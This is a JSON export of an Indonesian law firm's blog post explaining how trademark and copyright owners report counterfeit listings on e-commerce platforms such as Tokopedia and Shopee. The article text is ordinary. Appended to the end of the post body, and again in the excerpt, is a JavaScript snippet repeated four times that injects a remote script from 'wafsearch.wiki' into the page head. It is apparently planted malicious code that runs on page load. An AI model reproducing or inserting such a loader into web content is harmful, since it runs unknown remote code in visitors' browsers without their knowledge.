{"id":4189,"date":"2023-07-17T02:34:59","date_gmt":"2023-07-17T02:34:59","guid":{"rendered":"https:\/\/affa.co.id\/?p=4189"},"modified":"2023-07-17T02:34:59","modified_gmt":"2023-07-17T02:34:59","slug":"prosedur-pelaporan-barang-bajakan-di-ecommerce-indonesia","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2023\/07\/17\/prosedur-pelaporan-barang-bajakan-di-ecommerce-indonesia\/","title":{"rendered":"Prosedur Pelaporan Barang Bajakan di Ecommerce Indonesia"},"content":{"rendered":"<p><span style=\"font-weight: 500\">Dari laporan terbaru <\/span><b><i>Priority Watch List (PWL) 2023,<\/i><\/b> <b><i>Perwakilan Kamar Dagang Amerika Serikat (USTR<\/i><\/b><span style=\"font-weight: 500\">) masih menempatkan Indonesia, bersama dengan Argentina, Chili, India, Rusia, Tiongkok, dan Venezuela dalam daftar hitam investasi karena rawan praktek pembajakan. Secara khusus, laporan <\/span><b><i>Notorious Markets for Counterfeiting and Piracy 2022<\/i><\/b><span style=\"font-weight: 500\"> yang juga dirilis oleh USTR mencantumkan Bukalapak, Tokopedia, dan Shopee dalam daftar pantauan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Padahal pada bulan Oktober 2021, lima e-commerce terbesar Indonesia, baik Tokopedia, Shopee, Lazada, Bukalapak, dan Blibli telah menandatangani perjanjian kerjasama penegakan hukum di bidang Kekayaan Intelektual (KI) bersama dengan Ditjen KI, Bareskrim Polri, serta Ditjen Bea dan Cukai Indonesia. Target mereka saat itu jelas: Indonesia lepas dari PWL 2022.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Nyatanya, Indonesia sejak 2018 masih berada dalam daftar hitam ini. Secara khusus USTR menyatakan Pemilik IP dari Amerika Serikat masih menghadapi tantangan di Indonesia mengenai perlindungan dan penegakan KI yang memadai dan efektif. Pembajakan dan pemalsuan terus meluas, dan masih adanya kekhawatiran tentang penegakan KI, termasuk kurangnya penegakan terhadap barang palsu, serta rendahnya tingkat hukuman sebagai upaya pencegahan pelanggaran KI, baik di pasar fisik maupun <\/span><i><span style=\"font-weight: 500\">online<\/span><\/i><span style=\"font-weight: 500\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Lebih lanjut, USTR membeberkan beberapa tantangan yang dihadapi dan kemajuan yang telah dicapai oleh beberapa situs e-commerce di Indonesia. <\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Tantangan<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Pemilik KI masih menemukan banyak produk palsu\/ bajakan, beberapa bahkan secara gamblang menggunakan istilah &#8220;replika&#8221; dari produk terkenal. Walaupun beberapa situs sudah dilengkapi dengan sistem pelaporan dan penghapusan yang sebenarnya cukup <\/span><i><span style=\"font-weight: 500\">comprehensive<\/span><\/i><span style=\"font-weight: 500\">, juga telah melakukan beberapa peningkatan pada sistem anti-pemalsuan, tetapi Pemilik KI terus mendorong agar situs tersebut bisa menginvestasikan sumber daya yang lebih besar untuk mengembangkan protokol anti-pemalsuan yang lebih proaktif, seperti pemfilteran kata kunci untuk memungkinkan penghapusan produk bajakan secara otomatis, serta meningkatkan kecepatan dan transparansi prosedur penghapusan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Pemilik KI juga merasakan frustasi dengan kebijakan &#8220;Pelanggaran Berulang&#8221; dari beberapa situs\u00a0 yang menyatakan bahwa penjual dengan lebih dari tiga laporan pelanggaran, tidak dapat langsung dihapus, tapi hanya diberi tanda dapat dihapus akunnya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Selain itu, tiap situs memiliki standar atau prosedur yang berbeda-beda untuk menerima laporan dari pemilih hak, dan waktu penanganan yang berbeda-beda untuk setiap platformnya. Namun, berdasarkan pengalaman kami, dibutuhkan setidaknya 2-3 minggu untuk melakukan <\/span><i><span style=\"font-weight: 500\">listing takedown<\/span><\/i><span style=\"font-weight: 500\"> setelah laporan disampaikan ke masing-masing platform.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Kemajuan yang Dicapai<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Pada tahun 2022, Shopee meluncurkan program percontohan untuk portal perlindungan merek barunya dan menghadirkan posisi Direktur Perlindungan Merek Global, yang bertujuan meningkatkan hubungan dengan para Pemilik KI. Untuk itu, para pemilik KI dari Amerika mendesak Shopee untuk meningkatkan hukuman dan prosedurnya dalam memeriksa latar dari penjual, karena mencurigai adanya rantai pasokan barang palsu global sebagai pengguna Shopee.\u00a0 Sementara itu, Tokopedia melakukan investasi dan meluncurkan <\/span><a href=\"https:\/\/www.tokopedia.com\/intellectual-property-protection\/report\"><span style=\"font-weight: 500\">portal Kekayaan Intelektual barunya<\/span><\/a><span style=\"font-weight: 500\"> untuk mengedukasi para penjual, serta menerapkan beberapa teknologi baru yang secara proaktif melakukan pemantauan terhadap postingan produk, yang dapat mendeteksi dan menghapus produk bajakan\/palsu sebelum ditampilkan kepada pengguna.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-4190 size-full\" src=\"http:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/07\/img-1-ip-protection-portal.jpg\" alt=\"\" width=\"462\" height=\"535\" srcset=\"https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/07\/img-1-ip-protection-portal.jpg 462w, https:\/\/affa.co.id\/bhs\/wp-content\/uploads\/sites\/11\/2023\/07\/img-1-ip-protection-portal-259x300.jpg 259w\" sizes=\"(max-width: 462px) 100vw, 462px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Melaporkan barang palsu di <\/span><i><span style=\"font-weight: 500\">e-commerce<\/span><\/i><span style=\"font-weight: 500\"> dapat membantu melindungi konsumen dan pemilik bisnis agar tidak dirugikan oleh kehadiran produk-produk bajakan. Peran aktif kita dibutuhkan agar setiap platform ini menjadi tempat yang adil dan aman untuk digunakan bagi semua orang. Tapi seperti yang bisa dilihat dari tangkapan layar di atas, agar kita dapat melaporkan produk bajakan, sudah ada batasan agar hanya pemilik atau perwakilan resminya saja yang dapat melaporkan. Dengan kata lain, pengaduan untuk <\/span><i><span style=\"font-weight: 500\">listing takedown<\/span><\/i><span style=\"font-weight: 500\"> (penghapusan barang dari <\/span><i><span style=\"font-weight: 500\">e-commerce<\/span><\/i><span style=\"font-weight: 500\">) dari pengguna biasa yang tidak ada kaitannya dengan pemilik Merek atau Hak Cipta tidak bisa dilanjutkan. Di sisi lain kebijakan ini mencegah pelaporan palsu yang mengganggu kenyamanan pengguna.<\/span><\/p>\n<p><span style=\"font-weight: 500\">Lalu jika Anda memang pemilik IP atau perwakilan resmi, dokumen apa saja yang dibutuhkan untuk pelaporan dan permintaan penghapusan barang dari <\/span><i><span style=\"font-weight: 500\">e-commerce<\/span><\/i><span style=\"font-weight: 500\">?<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Dokumen yang Dibutuhkan untuk Laporan Pelanggaran Merek<\/b><\/h4>\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Bukti kepemilikan Merek dalam bentuk Sertifikat Merek yang sudah terdaftar dan diterbitkan oleh Kementerian Hukum dan HAM RI, atau dokumen sejenisnya;\u00a0<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Recommended Retail Price (RRP) oleh pemilik Merek;<\/span><span style=\"font-weight: 500\"><br \/>\n<\/span><span style=\"font-weight: 500\">Dokumen ini adalah salah satu alat bukti ekonomi yang dapat membantu pihak e-commerce untuk menentukan bahwa <\/span><i><span style=\"font-weight: 500\">listing<\/span><\/i><span style=\"font-weight: 500\"> yang akan di-<\/span><i><span style=\"font-weight: 500\">takedown<\/span><\/i><span style=\"font-weight: 500\"> melanggar Merek atau tidak. Jika harga barang yang dijual dalam <\/span><i><span style=\"font-weight: 500\">listing<\/span><\/i><span style=\"font-weight: 500\"> tersebut jauh di bawah RRP, maka ada indikasi bahwa produk tersebut merupakan produk palsu atau mungkin juga penjual melakukan praktek <\/span><i><span style=\"font-weight: 500\">price dumping<\/span><\/i><span style=\"font-weight: 500\">.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Bukti identitas Anda (KTP, SIM, paspor, atau sejenisnya); dan <\/span><\/li>\n<li style=\"font-weight: 500\">Surat kuasa dari pemegang\/pemilik Merek sesuai dengan dokumen bukti kepemilikan Merek yang Anda lampirkan (apabila Anda bukan pemilik Merek tetapi sebagai penerima kuasa dari pemilik Merek untuk melakukan laporan).<\/li>\n<\/ol>\n<h4><b>Dokumen yang Dibutuhkan untuk Laporan Pelanggaran Hak Cipta<\/b><\/h4>\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Bukti kepemilikan Ciptaan dalam bentuk Surat Pencatatan Ciptaan yang diterbitkan oleh Kementerian Hukum dan HAM RI, surat pernyataan kepemilikan ciptaan yang Anda tandatangani, atau dokumen sejenisnya;\u00a0<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Bukti identitas Anda (KTP, SIM, paspor, atau sejenisnya); dan\u00a0<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Surat kuasa dari pemilik ciptaan sesuai dengan dokumen bukti kepemilikan Ciptaan yang Anda lampirkan (apabila Anda bukan pemilik Hak Cipta tetapi sebagai penerima kuasa dari pemilik Hak Cipta untuk melakukan laporan).<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Menurut pengalaman kami, rata-rata permohonan <\/span><i><span style=\"font-weight: 500\">listing takedown <\/span><\/i><span style=\"font-weight: 500\">yang kami ajukan diakomodasi oleh pihak <\/span><i><span style=\"font-weight: 500\">e-commerce<\/span><\/i><span style=\"font-weight: 500\"> dalam waktu 2-3 minggu.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Jika Anda membutuhkan pendampingan lebih lanjut dalam proses pelaporan <i>listing<\/i> yang menjual produk palsu (<i>listing takedown<\/i>) ini, jangan ragu untuk menghubungi kami melalui <a href=\"mailto:emirsyah.dinar@affa.co.id\">emirsyah.dinar@affa.co.id<\/a>.<\/strong><\/p>\n<p>[dt_divider style=&#8221;thin&#8221; \/]<\/p>\n<p><strong>Sumber:<\/strong><\/p>\n<ul>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/ustr.gov\/sites\/default\/files\/2023-01\/2022%20Notorious%20Markets%20List%20(final).pdf\"><span style=\"font-weight: 500\">2022 Review of Notorious Markets for Counterfeiting and Piracy<\/span><\/a><\/li>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/ustr.gov\/sites\/default\/files\/2023-04\/2023%20Special%20301%20Report.pdf\"><span style=\"font-weight: 500\">Priority Watch List 2023<\/span><\/a><\/li>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/www.tokopedia.com\/intellectual-property-protection\/report\"><span style=\"font-weight: 500\">Tokopedia IP Report<\/span><\/a><\/li>\n<li style=\"font-weight: 500\"><a href=\"https:\/\/dgip.go.id\/artikel\/detail-artikel\/pemerintah-gelar-rapat-bersama-ecommerce-untuk-meminimalisir-pembajakan-dan-penjualan-barang-palsu-di-marketplace?kategori=liputan-humas\"><span style=\"font-weight: 500\">Direktorat Jenderal Kekayaan Intelektual<\/span><\/a><\/li>\n<\/ul>\n<p>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dari laporan terbaru Priority Watch List (PWL) 2023, Perwakilan Kamar Dagang Amerika Serikat (USTR) masih menempatkan Indonesia, bersama dengan Argentina, Chili, India, Rusia, Tiongkok, dan Venezuela dalam daftar hitam investasi karena rawan praktek pembajakan. Secara khusus, laporan Notorious Markets for Counterfeiting and Piracy 2022 yang juga dirilis oleh USTR mencantumkan Bukalapak, Tokopedia, dan Shopee dalam daftar pantauan. &nbsp; Padahal pada bulan Oktober 2021, lima e-commerce terbesar Indonesia, baik Tokopedia, Shopee, Lazada, Bukalapak, dan Blibli telah menandatangani perjanjian kerjasama penegakan hukum di bidang Kekayaan Intelektual (KI) bersama dengan Ditjen KI, Bareskrim Polri, serta Ditjen Bea dan Cukai Indonesia. Target mereka saat itu jelas: Indonesia lepas dari PWL 2022. &nbsp; Nyatanya, Indonesia sejak 2018 masih berada dalam daftar hitam ini. Secara khusus USTR menyatakan Pemilik IP dari Amerika Serikat masih menghadapi tantangan di Indonesia mengenai perlindungan dan penegakan KI yang memadai dan efektif. Pembajakan dan pemalsuan terus meluas, dan masih adanya kekhawatiran tentang penegakan KI, termasuk kurangnya penegakan terhadap barang palsu, serta rendahnya tingkat hukuman sebagai upaya pencegahan pelanggaran KI, baik di pasar fisik maupun online. &nbsp; Lebih lanjut, USTR membeberkan beberapa tantangan yang dihadapi dan kemajuan yang telah dicapai oleh beberapa situs e-commerce di Indonesia. &nbsp; Tantangan Pemilik KI masih menemukan banyak produk palsu\/ bajakan, beberapa bahkan secara gamblang menggunakan istilah &#8220;replika&#8221; dari produk terkenal. Walaupun beberapa situs sudah dilengkapi dengan sistem pelaporan dan penghapusan yang sebenarnya cukup comprehensive, juga telah melakukan beberapa peningkatan pada sistem anti-pemalsuan, tetapi Pemilik KI terus mendorong agar situs tersebut bisa menginvestasikan sumber daya yang lebih besar untuk mengembangkan protokol anti-pemalsuan yang lebih proaktif, seperti pemfilteran kata kunci untuk memungkinkan penghapusan produk bajakan secara otomatis, serta meningkatkan kecepatan dan transparansi prosedur penghapusan. &nbsp; Pemilik KI juga merasakan frustasi dengan kebijakan &#8220;Pelanggaran Berulang&#8221; dari beberapa situs\u00a0 yang menyatakan bahwa penjual dengan lebih dari tiga laporan pelanggaran, tidak dapat langsung dihapus, tapi hanya diberi tanda dapat dihapus akunnya. &nbsp; Selain itu, tiap situs memiliki standar atau prosedur yang berbeda-beda untuk menerima laporan dari pemilih hak, dan waktu penanganan yang berbeda-beda untuk setiap platformnya. Namun, berdasarkan pengalaman kami, dibutuhkan setidaknya 2-3 minggu untuk melakukan listing takedown setelah laporan disampaikan ke masing-masing platform. &nbsp; Kemajuan yang Dicapai Pada tahun 2022, Shopee meluncurkan program percontohan untuk portal perlindungan merek barunya dan menghadirkan posisi Direktur Perlindungan Merek Global, yang bertujuan meningkatkan hubungan dengan para Pemilik KI. Untuk itu, para pemilik KI dari Amerika mendesak Shopee untuk meningkatkan hukuman dan prosedurnya dalam memeriksa latar dari penjual, karena mencurigai adanya rantai pasokan barang palsu global sebagai pengguna Shopee.\u00a0 Sementara itu, Tokopedia melakukan investasi dan meluncurkan portal Kekayaan Intelektual barunya untuk mengedukasi para penjual, serta menerapkan beberapa teknologi baru yang secara proaktif melakukan pemantauan terhadap postingan produk, yang dapat mendeteksi dan menghapus produk bajakan\/palsu sebelum ditampilkan kepada pengguna. &nbsp; &nbsp; Melaporkan barang palsu di e-commerce dapat membantu melindungi konsumen dan pemilik bisnis agar tidak dirugikan oleh kehadiran produk-produk bajakan. Peran aktif kita dibutuhkan agar setiap platform ini menjadi tempat yang adil dan aman untuk digunakan bagi semua orang. Tapi seperti yang bisa dilihat dari tangkapan layar di atas, agar kita dapat melaporkan produk bajakan, sudah ada batasan agar hanya pemilik atau perwakilan resminya saja yang dapat melaporkan. Dengan kata lain, pengaduan untuk listing takedown (penghapusan barang dari e-commerce) dari pengguna biasa yang tidak ada kaitannya dengan pemilik Merek atau Hak Cipta tidak bisa dilanjutkan. Di sisi lain kebijakan ini mencegah pelaporan palsu yang mengganggu kenyamanan pengguna. Lalu jika Anda memang pemilik IP atau perwakilan resmi, dokumen apa saja yang dibutuhkan untuk pelaporan dan permintaan penghapusan barang dari e-commerce? &nbsp; Dokumen yang Dibutuhkan untuk Laporan Pelanggaran Merek Bukti kepemilikan Merek dalam bentuk Sertifikat Merek yang sudah terdaftar dan diterbitkan oleh Kementerian Hukum dan HAM RI, atau dokumen sejenisnya;\u00a0 Recommended Retail Price (RRP) oleh pemilik Merek; Dokumen ini adalah salah satu alat bukti ekonomi yang dapat membantu pihak e-commerce untuk menentukan bahwa listing yang akan di-takedown melanggar Merek atau tidak. Jika harga barang yang dijual dalam listing tersebut jauh di bawah RRP, maka ada indikasi bahwa produk tersebut merupakan produk palsu atau mungkin juga penjual melakukan praktek price dumping. Bukti identitas Anda (KTP, SIM, paspor, atau sejenisnya); dan Surat kuasa dari pemegang\/pemilik Merek sesuai dengan dokumen bukti kepemilikan Merek yang Anda lampirkan (apabila Anda bukan pemilik Merek tetapi sebagai penerima kuasa dari pemilik Merek untuk melakukan laporan). Dokumen yang Dibutuhkan untuk Laporan Pelanggaran Hak Cipta Bukti kepemilikan Ciptaan dalam bentuk Surat Pencatatan Ciptaan yang diterbitkan oleh Kementerian Hukum dan HAM RI, surat pernyataan kepemilikan ciptaan yang Anda tandatangani, atau dokumen sejenisnya;\u00a0 Bukti identitas Anda (KTP, SIM, paspor, atau sejenisnya); dan\u00a0 Surat kuasa dari pemilik ciptaan sesuai dengan dokumen bukti kepemilikan Ciptaan yang Anda lampirkan (apabila Anda bukan pemilik Hak Cipta tetapi sebagai penerima kuasa dari pemilik Hak Cipta untuk melakukan laporan). &nbsp; Menurut pengalaman kami, rata-rata permohonan listing takedown yang kami ajukan diakomodasi oleh pihak e-commerce dalam waktu 2-3 minggu. &nbsp; Jika Anda membutuhkan pendampingan lebih lanjut dalam proses pelaporan listing yang menjual produk palsu (listing takedown) ini, jangan ragu untuk menghubungi kami melalui emirsyah.dinar@affa.co.id. [dt_divider style=&#8221;thin&#8221; \/] Sumber: 2022 Review of Notorious Markets for Counterfeiting and Piracy Priority Watch List 2023 Tokopedia IP Report Direktorat Jenderal Kekayaan Intelektual var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":4191,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[308,309,310,315,318,298,305,306,307],"class_list":["post-4189","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-merek-indonesia-bisa","tag-trademark","tag-merek","tag-affa","tag-affa-ipr","tag-intellectual-property"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4189","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=4189"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4189\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/4191"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=4189"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=4189"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=4189"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}